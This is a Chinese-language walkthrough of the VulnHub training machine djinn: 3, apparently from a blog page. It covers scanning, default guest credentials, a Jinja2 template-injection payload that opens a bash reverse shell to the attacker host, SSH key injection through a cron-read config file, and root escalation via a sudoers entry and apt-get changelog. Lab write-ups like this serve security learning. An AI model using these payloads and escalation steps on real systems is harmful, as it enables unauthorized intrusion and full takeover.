当前位置: 首页 > news >正文

djinn: 3靶场渗透

djinn: 3

来自 <https://www.vulnhub.com/entry/djinn-3,492/>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.243

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.243

4,访问80端口的http服务看看

扫描网站存在的子目录

dirsearch -u http://192.168.23.243 -x 403,404

没什么用

5,访问5000端口看看

这是一个任务或问题跟踪列表,常见于项目管理工具(如Jira、GitHub Issues等)。并且提到了一个默认用户guest

 

6,再访问31337端口看看,账户密码均为guest

  1. 网络连接行为

nc 192.168.23.243 31337  # 通过netcat连接目标IP的31337端口
username> guest          # 使用默认用户guest登录
password> guest          # 使用默认密码guest登录成功

  • 31337端口:非常见端口,可能为自定义服务(如隐藏的管理接口或漏洞利用点)。
  • 默认凭证guest:guest 未移除(对应任务列表中的 #4567 未完成)。
  1. 系统特征
  • 自称是「开发中的票务系统」,提示报告问题至 mail@mzfr.me
  • 支持命令行交互(help 查看命令列表)。
  1. 5000端口关联
  • 5000端口通常用于开发环境(如Flask/Django调试模式、Docker注册表)。
  • 结合31337端口的未授权访问,可能形成 横向渗透路径
  • 通过31337端口获取初始权限 → 探测内网5000端口的服务 → 进一步利用漏洞。

攻击面分析:开发环境暴露

  • 5000端口服务推测
  • 运行未授权API(如Swagger UI、GraphQL)。
  • 调试模式开启的Web框架(如Flask debug=True,可能触发RCE)。
  • 利用链示例
    # 通过31337端口获取shell后,探测本地服务
    curl http://localhost:5000/management  # 尝试访问管理接口

 

help看看可以使用的命令

CLI功能与潜在攻击面分析

1. 可用命令解析

  • help:显示菜单,无直接风险。
  • update:更新票务软件(高危操作,可能触发远程代码执行或文件覆盖)。
  • open:创建新工单(可能涉及用户输入注入漏洞)。
  • close:关闭工单(需ID参数,可能存在逻辑漏洞)。
  • exit:退出系统。

2. 初步安全测试方向

  • 命令参数注入(如openclose的参数是否未过滤)。
  • update命令的更新源验证(是否允许任意URL下载或本地路径劫持)。
  • 会话持久化漏洞(如通过工单内容注入恶意代码触发后端解析)

7,对5000端口的服务进行指纹识别扫描

技术指纹分析

1. 服务框架

  • Werkzeug/1.0.1:Python WSGI工具库(常用于Flask开发服务器)。
  • Python 3.6.9:较旧版本(2019年发布),存在潜在漏洞(如CVE-2021-3177)。
  • Bootstrap:前端框架(版本未知,需进一步探测)。

2. 关键特征

  • 无标题页面:可能为未完成的后台接口或调试入口。
  • Server头部泄露:明确暴露技术栈(攻击者可针对性利用)。

3. 服务推测

  • 运行 Flask开发服务器(默认端口5000 + Werkzeug组合)。
  • 可能处于 调试模式(若开启debug=True,存在RCE风险)。

搜索网站技术栈存在的公开exp

searchsploit Werkzeug

下载来看看怎么使用

searchsploit 43905.py -m

漏洞利用没有成功,可能需要手动测试(在31337端口上)

8,这里反弹shell选择bash进行反弹,然后修改payload,在终端上新建票据

{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("/bin/bash -c 'bash -i >& /dev/tcp/192.168.23.182/4444 0>&1'")|attr("read")()}}

然后在访问5000端口开放的http服务,刷新一下出现新的链接进行点击

与此同时kali打开对4444监听

nc -lvvp 4444

成功getshell

9,然后信息收集一下

uname -a

lsb_release -a

发现存在其他用户

发现几个属于有saint用户的文件

讲文件都下载到本地分析

cp /opt/.configuration.cpython-38.pyc /tmp

cp /opt/.syncer.cpython-38.pyc /tmp

cd /tmp

python3 -m http.server 8080

wget http://192.168.23.243:8080/.configuration.cpython-38.pyc

wget http://192.168.23.243:8080/.syncer.cpython-38.pyc 

然后拖到浏览器里面进行在线反编译

syncer.cpython-38.py

# Visit 在线Python pyc文件编译与反编译 for more information

# Version : Python 3.8

import os

import sys

import json

from glob import glob

from datetime import datetime as dt

class ConfigReader:

    config = None

   

    def read_config(path):

        '''Reads the config file

        '''

        config_values = { }

    # WARNING: Decompyle incomplete

    read_config = staticmethod(read_config)

   

    def set_config_path():

        '''Set the config path

        '''

        files = glob('/home/saint/*.json')

        other_files = glob('/tmp/*.json')

        files = files + other_files

       

        try:

            if len(files) > 2:

                files = files[:2]

            file1 = os.path.basename(files[0]).split('.')

            file2 = os.path.basename(files[1]).split('.')

            if file1[-2] == 'config' and file2[-2] == 'config':

                a = dt.strptime(file1[0], '%d-%m-%Y')

                b = dt.strptime(file2[0], '%d-%m-%Y')

            if b < a:

                filename = files[0]

            else:

                filename = files[1]

        finally:

            pass

        except Exception:

            sys.exit(1)

       

        return filename

    set_config_path = staticmethod(set_config_path)

configuration.cpython-38.py

# Visit 在线Python pyc文件编译与反编译 for more information

# Version : Python 3.8

from configuration import *

from connectors.ftpconn import *

from connectors.sshconn import *

from connectors.utils import *

def main():

    '''Main function

    Cron job is going to make my work easy peasy

    '''

    configPath = ConfigReader.set_config_path()

    config = ConfigReader.read_config(configPath)

    connections = checker(config)

    if 'FTP' in connections:

        ftpcon(config['FTP'])

    elif 'SSH' in connections:

        sshcon(config['SSH'])

    elif 'URL' in connections:

        sync(config['URL'], config['Output'])

if __name__ == '__main__':

    main()

10,根据这两个python程序的源码,在/tmp下新建一个文件,文件名字为29-06-2020.config.json,内容如下,本地服务器的authorized_keys文件的内容是使用ssh-keygen生成的id_rsa.pub文件内容

cat > /tmp/29-06-2020.config.json << 'EOF'

{

    "URL": "http://192.168.23.182/authorized_keys",

    "Output": "/home/saint/.ssh/authorized_keys"

}

EOF

所以前提条件是还需要生成kali的公钥authorized_keys

ssh-keygen

ls -la .ssh

cp .ssh/id_ed25519.pub authorized_keys

然后python开启一个http服务

python -m http.server 80

应该是公钥注入成功了ssh登录尝试一下

ssh saint@192.168.23.243

登录成功,巧妙的公钥注入!

11,信息收集,看看怎么提权

创造出来一个假root用户,跟root同属一个用户组

sudo /usr/sbin/adduser -gid 0 r00t

因为是假用户使用没有真root权限

查看sudoers文件还有哪些用户可以使用sudo执行命令

发现一个jason用户,但是这个用户并不存在,但是我们是可以新建这个用户,盗用它的sudo操作

exit

sudo /usr/sbin/adduser -gid 0 jason

12,因为jason用户允许在密码验证后使用sudo命令以root权限执行apt-get命令,而密码是我设置的。由此查看提权操作

sudo apt-get changelog apt

在终端输入

!/bin/sh

最后成功get flag

sh /root/proof.sh

相关文章:

  • java的输入输出模板(ACM模式)
  • 古方焕新潮!李良济盒马联名养生水,以创新赋能中式养生新潮流
  • 出现在‘{‘的段错误
  • Qt读写XML文档
  • linux动态占用内存脚本、根据阈值增加占用或取消占用内存的脚本、自动检测占用脚本状态,多脚本套用
  • 力扣-24.两两交换链表中的结点
  • 可视化图解算法36: 序列化二叉树-I(二叉树序列化与反序列化)
  • Rust 中的 `PartialEq` 和 `Eq`:深入解析与应用
  • R1-Omni
  • SAP note 3565626 : Baltimore CyberTrust 根证书即将过期
  • 数据结构与算法分析实验10 实现最短路径算法
  • “Cobalt Strike Aggressor脚本提权全解析:从监听器到SYSTEM/root的渗透实战指南“
  • HarmonyOS开发-组件市场
  • SpringAI--基于MySQL的持久化对话记忆实现
  • 关于C#项目中 服务层使用接口的问题
  • java-反射精讲
  • 移动设备常用电子屏幕类型对比
  • 【数据结构】1. 时间/空间复杂度
  • Java大师成长计划之第16天:高级并发工具类
  • 通过.sh脚本设置java环境变量
  • 国家统计局:4月份居民消费价格同比下降0.1%
  • 央行最新报告:积极落地5月推出的一揽子金融政策,促进经济供需平衡、物价合理回升
  • 新华时评:任凭风云变幻,中俄关系从容前行
  • 潘功胜:将创设科技创新债券风险分担工具
  • 刘诚宇、杨皓宇进球背后,是申花本土球员带着外援踢的无奈
  • 世界银行最新营商环境体检单:59个测评点,上海22项达全球最优水平